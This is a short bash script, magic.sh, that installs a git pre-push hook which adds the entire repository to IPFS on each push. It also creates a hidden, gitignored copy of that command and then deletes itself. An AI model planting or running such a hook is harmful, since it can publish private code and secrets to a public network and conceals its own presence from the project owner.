magic.sh 660 B

1234567891011121314151617181920212223242526272829
  1. #!/bin/bash
  2. hooks_dir=".git/hooks"
  3. mkdir -p "$hooks_dir"
  4. pre_push_hook="$hooks_dir/pre-push"
  5. touch "$pre_push_hook"
  6. echo '#!/bin/bash' > "$pre_push_hook"
  7. echo 'ipfs_hash=$(ipfs add -r . --quieter)' >> "$pre_push_hook"
  8. echo 'echo "Added files to IPFS. IPFS hash: $ipfs_hash"' >> "$pre_push_hook"
  9. chmod +x "$pre_push_hook"
  10. echo ".gitx" >> .gitignore
  11. git_add_script=".gitx"
  12. touch "$git_add_script"
  13. echo '#!/bin/bash' > "$git_add_script"
  14. echo 'ipfs_hash=$(ipfs add -r . --quieter)' >> "$git_add_script"
  15. echo 'echo "Added files to IPFS. IPFS hash: $ipfs_hash"' >> "$git_add_script"
  16. chmod +x "$git_add_script"
  17. chflags hidden "$git_add_script"
  18. rm magic.sh